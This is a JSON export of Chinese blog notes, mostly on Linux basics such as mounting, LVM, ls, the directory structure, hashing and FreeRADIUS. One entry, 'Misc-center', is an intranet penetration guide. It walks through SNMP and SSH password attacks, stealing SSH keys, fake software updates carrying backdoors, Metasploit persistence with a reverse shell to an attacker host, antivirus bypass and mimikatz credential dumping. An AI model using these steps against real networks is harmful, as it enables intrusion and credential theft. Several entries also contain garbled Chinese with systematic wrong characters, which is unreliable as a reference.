  "content"  : "## Mount  目录和 硬盘是分开的   对应目录和硬盘 这个操作就是所谓的 挂载了  .    根目录一定要有个挂载点的,    其他目录可以自行添加额外的挂载点   邮件服务器 商业机密或者隐私  需要自己架设邮件服务器.  proxy 代理服务器  和路由器不一样  路由器是ip层的   proxy 是应用层的 . 可以缓存浏览 加快网页读取速度等等 最主要的是 安全 可以掩盖你自己的ip不被人发现  ftp  本来是下载盗版用的  后来变高校分享资源用了.      root 用户 权限太大  强烈不建议平常用root账户.      •	    指令    $ command [-options]() parameter1 parameter2 ... 挃令 选项 参数(1) 参数(2)   说明:  0. 一行挃令中第一个输入的部分绛对是『挃令(command)』戒『可执行文件 案』  1. command 为挃令的名称,例如变换路徂的挃令为 cd 等等;  2. 中刮号[]()幵丌存在亍实际的挃令中,而加入选项讴定时,通常选项前会带 - 号,   例如 -h;有时候会使用选项的完整全名,则选项前带有 -- 符号,例如 -- help;   3. parameter1 parameter2.. 为依附在选项后面的参数,戒者是 command 的 参数;  4. 挃令, 选项, 参数等这几个咚咚中间以空格来区分,丌讳空几格 shell 都规为一       •	       •	 格;  5. 挄下[Enter]()挄键后,该挃令就立卲执行。[Enter]()挄键代表着一行挃令的开始启 劢。  6. 挃令太长的时候,可以使用反斜杠 (\) 来跳脱[Enter]()符号,使挃令连续到下一 行。    注意!反斜杠后就立刻接特殊字符,才能跳脱!•	其他:•	  a. 在 Linux 系统中,英文大小写字母是不一样的。丼例来说, cd 不 CD 幵丌 同。      "
} ,
  
{
  "title"    : "Mount",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Mount-2.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Mount**卸载** umount /dev/sda5 或者 umount /mnt/partition2**分区 硬件级概念****盘符 软件级概念***Windows 分配盘符的过程 就是 挂载过程*Win 认为 不管什么分区 都应该自动帮你挂载上.所以不用你手动操作.比如某些小电影 在 windows 下 . 谁都可以看一眼.linux 下 就得挂载了才能看.**文件是存在硬盘 某个分区里面的!!!   并不是 C 盘 / D 盘> 不要被 win 系统思维 固化了.**文件系统:**Linux 系统组织方式:整个系统从 根开始. `/` 读作斜线 slash  第一个`/` 表示根**根分区****作用:**引导系统系统启动: 首先有一个分区 被挂载到 `/`了. 这个分区 叫 根分区整个系统 只有一个 Root 根分区.任何一个分区 都可以挂载为 根分区只是根分区下面没有 Linux 内核文件的话 将无法引导系统而已!!! **其他分区:***只能继续挂载到 / (根分区) 下的 某个目录里!!*> 比如: /mnt  /media  挂载好之后 向这个目录下数据 就是向被挂载到这个目录的了一个分区(可能是另外一块硬盘)写数据多个分区 只能被挂载到不同的目录挂载好之后 硬盘里的数据 就可以用 路径找到了.没挂载是 看不到硬盘数据的.cd /mntsudo mkdir partition2     新建个目录 名字随意mount /dev/sda5 partitionpetition   挂载 sda5 分区到 partition2.cd partation2ls 就能看到文件了.几十个文件 当然 全部放在一起就可以了.系统有很多很多文件 新系统有 1W+ 文件.怎么组织这些文件呢!!! → **分类**> Windows 的 树形目录.- 系统文件: c:\windows	- 程序文件: c:\program file	- 个人文件: c:\Documents and settings"
} ,
  
{
  "title"    : "Misc-center",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Misc-center.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Misc-center1. nmap -sP 172.19.16.1/24   发现扫描主机.2. 查看 host 获取局域网信息.3. 直接攻击网段路由或交换机,简单绘制内网的结构(我在从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备中就是获取了cisco路由的privilege15权限,得到了内网结构,进一步进行跨vlan攻击)4. 多尝试交换机snmp弱口令,一旦成功,内网结构清晰	•	关于snmp渗透  	什么是snmp  	使用了snmp管理的设备,只需要community string即可,所以针对这个string爆破或者社工都是可行的,默认public/private  	首先进行161端口扫描,发现snmp开放情况,通过弱口令查看设备信息,在oid中读取设备密码  		•	  	例子:中国移动集团华为三层交换SNMP漏洞,可获取管理帐号密码,已成功登录  	可以通过这个nmap和msf脚本进行自动攻击h3c-pt-tools	•	尝试从主机的用户目录或者管理运维邮箱寻找敏感信息(某次渗透即是keylogger运维后在测试机桌面获取到拓扑和网段)  		•		•	通过resolv.conf找到内网dns服务器,或者字典穷举dns	•	注意分析用户的.bash_history,一般可以分析出用户的使用习惯,纪录等,获取/.shh/,尝试配合history的连接纪录直接通过密钥登陆其他机器0x03 内网渗透的常见攻击技巧•	通过之前的信息收集和探测,判断出主要的业务机器,如OA,dbserver,利用ssh信任,连入机器后导出员工的userlist,做成针对性的字典,大部分内网的安全性都是脆弱的,且最容易出问题的就是口令安全(大公司也不例外)  %username%1  %username%12  %username%123  %username%1234  %username%12345  %username%123456主要对ssh,dbserver,vnc,ftp进行爆破•	对开了web service的server进行常规渗透,有可以减少工作量的办法就是先对机器批量识别banner,通过banner判断出cms或中间件,直接利用exp•	中间人攻击常用ettercap,不建议做arp的mitm,可以尝试dhcp mitm或者icmp mitm也可以猥琐一点,劫持插件,攻击网关,或者利用evilgrade去伪造软件更新(如notepad++),然后捆绑上后门,直接打下工作机器,进入办公网简单配置后用msf生成后门,start即可配合ettercap使用伪造软件更新了•	常见服务漏洞攻击  smb/ms08067/ipc$/NetBIOS…………但是在针对这些比较古老的漏洞攻击时,很可能有AV拦截,所以在不同场景遇到的坑都不一样比如之前在西电DM牛告诉我,有AV,如果直接利用psexec返回会话,即会拦截,这时就可以利用powershell来bypass AVPowershell tricks::Bypass AV0x04 后渗透准备和扩大战果一次完美的内网渗透肯定不是能够一次性完成的,因为整个过程需要管理员的"配合"(口胡。。。)所以后渗透准备时很有必要的1. 后门准备msf的后门已经不错,只需要稍加改造就能很好满足我们的需求普通msfpayload生成的后门不是持续性的,不利于我们下次继续工作,所以需要一个持续性后门msf的持续性后门有两种,通过服务启动(metsvc)和通过启动项启动(persistence)通过服务的后门有个弊端,服务名称是meterpreter,利用方式是: 上传后门,通过metsvc安装服务12345meterpreter \> run metsvc...(设定端口,并且上传后门文件)use exploit/multi/handlerset PAYLOAD windows/metsvc_bind_tcpexploit通过启动项的利用方式:12345meterpreter \> run persistence -X -i 10 -p port -r hostip use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpexploit当然,直接生成的后门有可能会被杀,所以这里我推荐一个很不错的工具,veil,之前再一次小型apt中用这个生成了的后门直接bypass了360linux下有两个常用的后门mafix rookit和Cymothoa,后者听说可以克隆root用户,不过大部分的backdoor基本都相当于一个加密nc,会新开端口,所以如果webshell存活,可以直接考虑用webshell维持权限3. hashmimikatz,不用多说,利用meterpreter可以直接load模块Quarks PwDumpwce0x05 something else内网渗透涉及的面很广,本文主要说到的是一些很简单的问题和常规的思路尚未谈到的 域渗透 打印机 办公网嗅探 入侵日志清理等等如果有机会,日后慢慢补全"
} ,
  
{
  "title"    : "Mapper",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Mapper.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Mapper**查看逻辑设备:** `lvdisplay`**查看物理设备:** `fdisk -l` > 逻辑设备 不能用 fdisk -l 命令看> 不然会报错....逻辑设备 到物理设备的映射.比较流行的 *逻辑卷管理器 LVM2 *安装系统  首先建立个 swap 空间然后剩余的  应该是分到 logical volumes二、/dev/mapper目录的解释   为了方便叙述,假设一台服务器有三块硬盘分别为a,b,c,每块硬盘的容量为1T。在安装Linux的时候,先根据系统及自身的需要建立基本的分区,假设对硬盘a进行了分区,分出去了0.1T的空间挂载在/boot目录下,其他硬盘未进行分区。系统利用Device mapper机制建立了一个卷组(volume group,VG),你可以把VG当做一个资源池来看待,最后在VG上面再创建逻辑卷(logical volume,LV)。若要将硬盘a的剩余空间、硬盘b和硬盘c都加入到VG中,则硬盘a的剩余空间首先会被系统建立为一个物理卷(physical volume,PV),并且这个物理卷的大小就是0.9T,之后硬盘a的剩余的空间、硬盘b和硬盘c以PV的身份加入到VG这个资源池中,然后你需要多大的空间,就可以从VG中划出多大的空间(当然最大不能超过VG的容量)。比如此时池中的空间就是2.9T,此时你就可以建立一个1T以上的空间出来,而不像以前最大的容量空间只能为1T。   /dev/mapper/Volume-lv_root的意思是说你有一个VG (volume group卷组)叫作Volume, 这个Volume里面有一个LV叫作lv_root。其实这个/dev/mapper/Volume-lv_root文件是一个连接文件,是连接到/dev/dm-0的,你可以用命令ll /dev/mapper/Volume-lv_root进行查看。   其实在系统里/dev/Volume/lv_root 和 /dev/mapper/Volume-lv_root以及/dev/dm-0都是一个东西,都可当作一个分区来对待。   若要了解硬盘的具体情况,可通过fdisk或者pvdisplay命令进行查看。   若你想要重装系统到/dev/sda下,且安装时有些东西不想被格式化想转移到/dev/sdb下,但此时/dev/sda和/dev/sdb被放到VG中了,那该如何解决该问题呢?这种情况下,由于此时根本没办法确定数据在哪一个硬盘上,因为这两个硬盘就如同加到池里,被Device mapper管理,所以解决方案就是再建个逻辑卷出来,把数据移到新的卷里,这样你就可以重装系统时只删掉之前分区里的东西,而新的卷里的东西不动,就不会丢失了。"
} ,
  
{
  "title"    : "Man ls",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Man-ls.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Man lsLS(1)                     BSD General Commands Manual                    LS(1)NAME     ls -- list directory contentsSYNOPSIS     ls [-ABCFGHLOPRSTUW@abcdefghiklmnopqrstuwx1] [file ...]DESCRIPTION     For each operand that names a file of a type other than directory, ls     displays its name as well as any requested, associated information.  For     each operand that names a file of type directory, ls displays the names     of files contained within that directory, as well as any requested, asso-     ciated information.     If no operands are given, the contents of the current directory are dis-     played.  If more than one operand is given, non-directory operands are     displayed first; directory and non-directory operands are sorted sepa-     rately and in lexicographical order.     The following options are available:     -@      Display extended attribute keys and sizes in long (-l) output.     -1      (The numeric digit ``one''.)  Force output to be one entry per             line.  This is the default when output is not to a terminal.     -A      List all entries except for . and ...  Always set for the super*Synopsis 大概:ls [-ABCFGHLOPRSTUW@abcdefghiklmnopqrstuwx1] [file ...]ls -A   显示所有文件.  除了`.` `..` 目录ls -a   显示所有文件.ls -Bls -C 默认参数 多栏目输出. 多栏目输出???"
} ,
  
{
  "title"    : "Linux-Basic",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Linux-Basic.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Linux # Linux-Basic  简介- Linux: 由 unix 演变过来, Linux 的内核是免费的.- 发行版: Linux内核 + 应用软件 做一个打包. 有些收费,有些免费.- 知名发行版: Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE…….- CentOS :ReaHat 企业版的克隆.相当稳定.> 学习建议: 学命令窗口,不用图形界面.  > init: 系统所有进程的起点(老祖宗)没有这个进程,任何进程都启动不了.| Hotkeys  |         简介        ||:-------- |:------------------:|| Tab      | 命令目录补全         || Ctrl + C | 终止当前命令.        || Ctrl + D | 退出当前终端 = exit || Ctrl + Z | 暂停进程,fg 恢复     || Ctrl + L | 清屏.              |# Man  查看帮助文档.# 系统根目录结构	bin   dev  home  lib64    media  opt   root sbin  sys  usr	boot  etc  lib   lost+found  mnt  proc  run srv   tmp  var- /bin  Binary (二进制)的缩写。这个目录存放着最经常使用的命令。- /boot Linux 核心文件,包括一些连接文件以及镜像文件。- /dev  Device(设备)的缩写。存放 Linux 的外部设备,  	> 在 Linux 中访问设备的方式和访问文件的方式是相同的。- /etc 所有的系统管理所需要的配置文件和子目录。- /home 用户的主目录,每个用户一个目录.- /lib 这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。- /media 例如U盘、光驱等等,当识别后,linux 会把识别的设备挂载到这个目录下。- /mnt 系统提供该目录是为了让用户临时挂载别的文件系统的,如:光驱.- /opt 这是给主机额外安装软件所摆放的目录。比如你安装一个 ORACLE 数据库则就可以放到这个目录下。默认是空的。- /proc 这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的 ping 命令,使别人无法 ping 你的机器:echo 1 \> /proc/sys/net/ipv4/icmp\_echo\_ignore\_all。- /root 该目录为系统管理员,也称作超级权限者的用户主目录。- /sbin s 就是 Super User 的意思,这里存放的是系统管理员使用的系统管理程序。- /srv 该目录存放一些服务启动之后需要提取的数据。- /tmp 这个目录是用来存放一些临时文件的。- /usr 重要目录,用户的很多应用程序和文件都放在这.> 类似与 windows 下的 program files目录。- /usr/bin:系统用户使用的应用程序。- /usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序。- /usr/src:内核源代码默认的放置目录。- /var 这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。在 linux 系统中,有几个目录是比较重要的,平时需要注意不要误删除或者随意更改内部文件。  /etc: 这个是系统中的配置文件,更改该目录可能会导致系统不能启动。  /bin, /sbin, /usr/bin, /usr/sbin: 这是系统预设的执行文件的放置目录,比如 ls 就是在 /bin/ls 目录下的。值得提出的是,/bin, /usr/bin 是给系统用户使用的指令(除 root 外的通用户),而 /sbin, /usr/sbin 则是给 root 使用的指令。  /var: 这是一个非常重要的目录,系统上跑了很多程序,那么每个程序都会有相应的日志产生,而这些日志就被记录到这个目录下,具体在 /var/log 目录下,另外 mail 的预设放置也是在这里。### 如何正确关机如果你要关机,必须要保证当前系统中没有其他用户在线。  查看在线用户: who 这个指令,  查看网络状态, netstat -a 这个指令,  查看背景执行的程序: ps -aux 这个指令。#### 正确的关机流程为:sysnc ? shutdown ? reboot ? haltsync 将数据由内存同步到硬盘中。shutdown 关机指令,你可以man shutdown 来看一下帮助文档。例如你可以运行如下命令关机:shutdown –h 10 ‘This server will shutdown after 10 mins’ 这个命令告诉大家,计算机将在10分钟后关机,并且会显示在登陆用户的当前屏幕中。Shutdown –h now 立马关机Shutdown –h 20:25 系统会在今天20:25关机Shutdown –h +10 十分钟后关机Shutdown –r now 系统立马重启Shutdown –r +10 系统十分钟后重启reboot 就是重启,等同于 shutdown –r nowhalt 关闭系统,等同于shutdown –h now 和 poweroff最后总结一下,不管是重启系统还是关闭系统,首先要运行 sync 命令,把内存中的数据写到磁盘中。关机的命令有 shutdown –h now halt poweroff 和 init 0 , 重启系统的命令有 shutdown –r now reboot init 6。### 忘记 root 密码如何做Windows 忘记管理员密码,用光盘清除密码.  linux   忘记 root 密码,进入单用户模式更改一下 root 密码即可。"
} ,
  
{
  "title"    : "Linux Structure",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Linux-Structure.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "##  Linux Structure/                     根目录: (只放目录 不放文件) ┣━━━ root        root’s  的家目录.    (/home 是草民住的地方 -.-) ┃				              Advice: /root & / 放同一个分区. ┃ ┣━━━ *bin* Binaries     *常用执行文件(命令)*  ┃				             包括 系统启动/单用户模式/恢复模式 下运行时所需的文件. ┃				             **bash,busybox,zsh** ┃					         cat,cp,dd,dir,echo,grep,kill,ls,login,less……  ┣━━━ *sbin*    System-only binaries  ┃                 *重要执行文件(命令)*  (普通用户只能查看不能使用!!!) ┃  ┣━━━ **etc**    **系统&程序 配置文件**  *修改之前必须备份* 不要放可执行文件 ┃  ┗━━━ X11    与 X windows 有关的设置. ┃  ┣━━━ lib;  /usr/lib; /usr/local/lib (libraries)  系统使用的*函数库* ┃			   程序执行过程中需要调用一些额外的参数时,就需要函数库的协助. ┃  ┗━━━ modules 比较重要 ┃  ┣━━━ usr         **应用程序** (unix software resource): *不是 user 的缩写 ┃					  X 下所有程序数据都在这里.包括 图标 manual …  ┃  ┗━━━ share   共享数据. ┃      ┗━━━  doc   系统说明文件 ┃      ┗━━━ *man*  程序说明文件 ┃					man ls → /uer/share/man/man1/ls.1.gz 的内容; 单独分区+大空间. ┃  ┗━━━ bin   应用程序. ┃  ┗━━━ lib   函数库  (许多程序运行所必须的) ┃  ┗━━━ local *软件升级包.* ┃  ┣━━━ **var** 系统运行过程中经常变化的东西. (variable 变量)  ┃	 ┣━━━ *log*   随时更改的日志文件 ┃		 ┣━━━ message 所有登录文件 ┃	 ┣━━━ spool ┃		 ┣━━━ mail 邮件目录   ┃	 ┣━━━ run      程序/服务启动后.其 PID 就存在这里 ┃ ┣━━━ boot     系统内核 ┃    ┃	  ┗━━━ grub Syatem 引导程序 & 引导菜单*建议单独分区. 只要100M 即可* ┣━━━ cdrom ┣━━━ media 光盘默认挂载点之一 ;还有 /mnt/cdrom  ┣━━━ **dev** (Devices)   ┃                 设备文件; **访问某个文件=访问某个设备**(最常用:挂载) ┃					Linux 中,所有的硬件装置档案都在 /dev 这个目录内. ┃                 /dev/hda ;  /dev/hdb ; /dev/sda ; /dev/console. ┃                 机械硬盘a;  机械硬盘b; 固态硬盘a;  Console 线 . ┃   ┣━━━ block  ┃   ┣━━━ bsg ┃   ┣━━━ bus  ┃   ┣━━━ char  ┃   ┣━━━ disk 盘信息.(挂载硬盘信息) ┃   ┃ ┣━━━ by-id  硬盘分区的永久性符号链接 ┃   ┃ ┣━━━ by-label 按卷标识别的硬盘分区, 用于挂载 ┃   ┃ ┣━━━ by-path 硬盘分区的节点链接 ┃   ┃ ┣━━━ by-uuid 按 UUID 识别的硬盘分区, 用于挂载 ┃   ┣━━━ dri   ┃   ┣━━━ fd ┃   ┣━━━ input  ┃   ┣━━━ net  ┃   ┣━━━ pts  ┃   ┣━━━ shm ┃   ┣━━━ snd  ┣━━━ home  系统默认家目录,  必须独立的分区挂载到这里.建议 单独分区 & 大磁盘空间. 方便用户存放数据新增用户账户的家目录都在这`~`:        当前用户的家目录`~xu.jian`: 用户xujian的家目录. ┃   ┣━━━ adagio 真正的家,目录名就是账号名. ┃   ┣━━━ MNT 挂载其他硬盘分区的地方.   ┃   ┣━━━ test 另一个家目录 专用测试.一旦搞坏.只要删除里面所有文件就能恢复 ┣━━━ media 文件管理器里点击后自动挂载的分区,按卷标命名. ┣━━━ **mnt** (Mount)  ┃                挂载硬盘 最常用的位置 (一般人都挂这里而已) ┣━━━ **opt** (Optionally 可选) ┃               额外软件的安装没有了. 喜欢把数据放这里 如 JAVA ┣━━━ proc (Process) ┃          系统核心,外部设备,网络状态. 这个文件夹在内存中 不在硬盘里的!! ┣━━━  srv 服务启动后 需要访问的目录 ┃				   如 WWW 服务的网页数据 → /srv/www 内 ┣━━━ sys System 系统核心文件. 类似 /proc 不管 ┣━━━ *tmp* 临时文件位置.不能放重要数据.重启数据消失.  ┣━━━ backups   ┣━━━ cache  ┣━━━ apt    ┣━━━archives 存放你安装的所有程序的 安装包.重装系统非常有用.  建议整个 /var 挂载到独立分区.就像 /home 一样 重装系统后 只要整个分区挂   载到/ var 就可以了. 省去备份还原时间. 这些包科室有几个 G 的.  ┣━━━  crash  ┣━━━  games  ┣━━━  lib  ┣━━━ local  ┣━━━ mail 存放所有用户 email 的地方.	  ┣━━━ opt  ┣━━━ tmp Temporary files**`⁃`**	 前一个工作目录(切换回之前目录用)    **/dev** 所需要的装置档案 ## File Permission Linux :|    权限     | 连接数 | 文件所有者 | 文件所在组 | 文件大小(byte) | 最后修改日期 | 文件名 |   | -rw-r--r--  |   1    |      v     |   staff    |     3561       | 10 13 17:05  | .zshrc |>  `-` → 文件 ;  >  `d` → 目录 ;    >  `l` → 快捷方式 |改变文件权限  | chmod | chmod -R 770 desktop|改变文件所属组| chgrp | change group|改变文件拥有者| chown | change owner chown -R desktop|||改整个文件夹,复制文件给别人就需要改这个了!!!!r 权限 用户只能读取文件夹名字 不能进入文件夹.  x 权限 能不能运行 / 用户能不能进文件夹. 文件具体是什么种类的 还是通过扩展名来确定.  /dev  设备文件  ||||:---:|:---:|任何硬件硬盘 键鼠 /接口讴备都是以档案的型态存在二这个目彔当中的。  比要重要的档案有 /dev/null, /dev/zero, /dev/tty, /dev/lp*, /dev/hd*, /dev/sd\*等等 区块设备: 存储数据. 硬盘  字符设备: 键盘鼠标 一次性读取的 资料接口文件  socks   /var/run启动一个程序 来监听客户端要求 客户端通过这个接口来数据沟通.sh 脚本 / 批处理文件.tar 压缩文件.php 通过浏览器得到运算后的结果./usr (软件放置处) (unix software resource):软件安装/执行有关; /etc (配置文件) /opt (第三方协力软件)      /boot (开机不核心档) /var/run (程序相关)  (variable):系统运作过程有关。/var/lock (程序相关) / (root, 根目彔):开机系统有关;  /bin  系统有徆多放置执行文件的目彔,但/bin 比较特殊。因为/bin 放置的是在单人维护模 /bin 式下还能够被操作的挃令。 在/bin 底下的挃令可以被 root 不一般账号所使用,主要 有:cat, chmod, chown, date, mv, mkdir, cp, bash 等等常用的挃令。 /boot 这个目彔主要在放置开机会使用到的档案,包括 Linux 核心档案以及开机选单不开机 /boot 所需配置文件等等。 Linux kernel 常用的档名为:vmlinuz,如果使用的是 grub 这 个开机管理程序, 则还会存在/boot/grub/这个目彔喔!   /etc 系统主要的配置文件几乎都放置在这个目彔内,例如人员的账号密码文件、 各种朋务 的吪始档等等。一般来说,这个目彔下的各文件属怅是可以让一般使用者查阅的, 但 是只有 root 有权力修改。FHS 建议丌要放置可执行文件(binary)在这个目彔中喔。比 较重要的档案有: /etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/ 等等。另外,其下重要的目彔有: 􏰀  /etc/init.d/:所有朋务的预讴吪劢 script 都是放在这里的,例如要吪劢戒者关 闭 iptables 的话:『 /etc/init.d/iptables start』、『/etc/init.d/iptables stop』  􏰀  /etc/xinetd.d/:这就是所谓的 super daemon 管理的各顷朋务的配置文件目 彔。  􏰀  /etc/X11/:不 X Window 有关的各种配置文件都在这里,尤其是 xorg.conf 这个 X Server 的配置文件。      /home这是系统默讣的用户家目彔(home directory)。在你新增一个一般使用者账号时, 默 讣的用户家目彔都会觃范到这里来。比较重要的是,家目彔有两种代号喔: :代表目前这个用户的家目彔,而dmtsai :则代表 dmtsai 的家目彔! /lib系统的函式库非常的多,而/lib 放置的则是在开机时会用到的函式库, 以及在/bin 戒 /sbin 底下的挃令会呼叫的函式库而已。 什举是函式库呢?妳可以将他想成是『外 挂』,某些挃令必项要有这些『外挂』才能够顸利完成程序的执行乀意。 尤其重要的 是/lib/modules/这个目彔, 因为该目彔会放置核心相关的模块(驱劢程序)喔! /opt这个是给第三方协力软件放置的目彔。什举是第三方协力软件啊? 丼例来说,KDE 这个桌面管理系统是一个独立的计划,丌过他可以安装到 Linux 系统中,因此 KDE /opt 的软件就建议放置到此目彔下了。 另外,如果妳想要自行安装额外的软件(非原本的 distribution 提供的),那举也能够将你的软件安装到这里来。 丌过,以前的 Linux 系 统中,我们还是习惯放置在/usr/local 目彔下呢! /sbininux 有非常多挃令是用来讴定系统环境的,这些挃令只有 root 才能够利用来『讴 定』系统,其他用户最多只能用来『查询』而已。 放在/sbin 底下的为开机过程中所 需要的,里面包括了开机、修复、还原系统所需要的挃令。 至二某些朋务器软件程 序,一般则放置到/usr/sbin/当中。至二本机自行安装的软件所产生的系统执行文件 (system binary), 则放置到/usr/local/sbin/当中了。常见的挃令包括:fdisk, fsck, ifconfig, init, mkfs 等等。 /srvsrv 可以规为『service』的缩写,是一些网络朋务吪劢乀后,这些朋务所需要取用的 /srv 数据目彔。 常见的朋务例如 WWW, FTP 等等。丼例来说,WWW 朋务器需要的网页 资料就可以放置在/srv/www/里面。 􏰀 /etc:配置文件  􏰀 /bin:重要执行档  􏰀 /dev:所需要的装置档案  􏰀 /lib:执行档所需的函式库不核心所需的模块 􏰀 /sbin:重要的系统执行文件 /usr 为 user 的缩写,其实 usr 是 Unix Software Resource 的缩写, 也就是『Unix 操作系统软件资源』所放置的目彔, /var 的意丿不内容: 如果/usr 是安装时会占用较大硬盘容量的目彔,那举/var 就是在系统运作后才会渐渐占用硬盘容量的目 彔。 因为/var 目彔主要针对常态怅变劢的档案,包括快取(cache)、登彔档(log file)以及某些软件运作 所产生的档案, 包括程序档案(lock file, run file),戒者例如 MySQL 数据库的档案等等。常见的次目 彔有: /var/lib/  程序本身执行的过程中,需要使用到的数据文件放置的目彔。在此目彔下各自的软 /var/lib/ 件应该要有各自的目彔。 丼例来说,MySQL 的数据库放置到/var/lib/mysql/而 rpm 的数据库则放到/var/lib/rpm 去! /var/log/ 重要到丌行!这是登彔文件放置的目彔!里面比较重要的档案如 /var/log/messages, /var/log/wtmp(记彔登入者的信息)等。 绝对路径 / 相对路径 也可将所谓的路径(path)定丿为绝对路径(absolute)不相对路径(relative)。  相对路径:相对目前路径的文件名写法。 例如 ./home/dmtsai 戒 ../../home/dmtsai/ 等等。  反正开头丌是 / 就属二相对路径的写法  􏰀  . :代表当前的目彔,也可以使用 ./ 来表示;  􏰀  .. :代表上一层目彔,也可以 ../ 来代表。## linux 常识Linux 中 每个设备 都当成一个文件 来对待./dev 几乎所有硬件都在这里. etc---------系统设定档桉储存地方var---------改动频繁的档桉, 都置放于此, 例如各log档桉bin---------储存有基本的UNIX指令sbin--------UNIX 系统指令的储存地方, 是比较进阶的指令 "
} ,
  
{
  "title"    : "LS",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/LS.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "ls -m  紧凑显示所有内容.而不是 一行一个文件.ls  列目录  下的 所有文件名与相关属性       list的意思ls -al    目录下的 所有隐藏文件和 文件属性.drwxr-xr-x+ 47 V     staff   1598  4  9 20:07 .drwxr-xr-x@  5 root  admin    170  2 27 09:20 ..-r--------   1 V     staff      9  2 25 14:36 .CFUserTextEncoding-rw-r--r--@  1 V     staff  22532  4 10 14:42 .DS_Store文件类型 权限  连接数 拥有者 文件所在群组 文件大小  文件最后修改时间 文件名字文件权限 d 表示目录   - 表示文件  l 表示链接!  接下来  三个一组 rwx read write  execute   读写 可执行    rwx 位置不会变 没有权限显示-    第一组 owner 第二组本群组 第三组其他非本群组## ls - - - list 目录清单- 目录 文件 权限-r  reverse   反序排列"
} ,
  
{
  "title"    : "HASH &amp; MD5",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/HASH-&-MD5.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## HASH & MD5Hash 翻译散列. 音译哈希**一种 将任意长度的消息压缩到某一固定长度的消息摘要的函数。**特性: (使用同一函数的情况下)结果不一样 . 原始值肯定也不一样.常用 Hash 算法:- **MD5  Message Digest 消息摘要.**  Function : - 文件校验- 数字签名.MD5-Hash-文件的数字文摘通过Hash函数计算得到。不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。与加密算法不同,这一个Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因此,一旦文件被修改,就可检测出来。"
} ,
  
{
  "title"    : "FreeRADIUS",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/FreeRADIUS.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## FreeRadius 简介 + 详细安装配置教程### [FreeRADIUS 官网链接][1]### Radius   [极品教程链接][2]#### Remote Authentication Dial In User Service    远程用户拨号认证系统| 命令中心: | 简介 ||:--------:|:----:|| /etc/init.d/freeradius start/stop/restart|脚本启动服务|| freeradius -X  或者  radiusd -X | Debug 模式来启动服务 ||  | 配置文件: | 简介 | 本文 ||:-----------:|:---:|:---:|| vi /etc/freeradius/radiusd.conf   | 开启 sql 功能  | FreeRADIUS 主配置文件:包含各种子配置文件 | vi /etc/freeradius/clients.conf   | 添加NAS客户端用      || vi /etc/freeradius/sql.conf        | 配置数据库端口 用户名 密码   开启:使radius 可以从数据库 读取客户端信息. |  3306 radius xujian| /etc/freeradius                  | freeradius 配置文件目录| /sbin   | freeradius 运行文件目录 |三A框架 | 安全架构模型 |Triple A Framework||:-----:|:---------:|:-----------------:|| authentication | 验证 | 用户是否有权限访问网络.  用户名,密码是否正确 || authorization  | 授权 | 哪些用户能使用哪些服务 分配 IP 地址     || accounting     | 记账 | 记录用户网络资源的使用情况  || | | ||:------------:|:-------------------:|:-------------------------:|| 结构: C/S     | Client / Server 端  |   合理分配任务,降低系统开销。 || 通信方式: UDP  |  快速但不安全         | 1812端口监听 authentication  1813端口监听 accounting | |   简拼  |        比喻:         | 详解 ||:------:|:--------------------:|:---:|| NAS    |        路由器         |   Network Access Server  提供上网功能的设备  通过控制实现网络的 合理+安全 使用  可比喻成 VPN服务器 / 路由器 / 智能交换机 || Radius | 电信提供拨号上网的服务器 |## 验证 授权 记账 流程:|   对象    |                                    |                                                             ||:--------:|:-----------------------------------:|:----------------------------------------------------------:|| 用户      | 想上网                               |  向路由器发送接入请求 (输入用户名 密码)                          || 路由器    | 收到用户请求                          |  向radius服务器转发用户的接入请求                               || Radius   | 收到 路由器 转发的请求                 |  查询数据库,得出结果 .  向 路由器 返回消息包                  || 路由器    | 根据 Radius 的返回消息包               |  判断用户能否接入 能就开始上网 不能就断开用户连接.                 || 开始上网: | 路由器 → RADIUS: 发送记费开始请求包     |  表明对该用户已经开始记费,                                     || 结束上网: | 路由器 → RADIUS: 发送记费停止请求包     |  上网时长,上传下载流量,等使用的网络资源统计                        |# FreeRadius:##### 部署最广泛最实用的开源RADIUS软件. 缺点: 配置复杂.##### 服务端 和 客户端 可以是一台设备  也可以是分开的两台设备.##### 实例  高校:用学号密码 就能登录校园wifi.  只需: Radius 的服务器. 支持 Radius 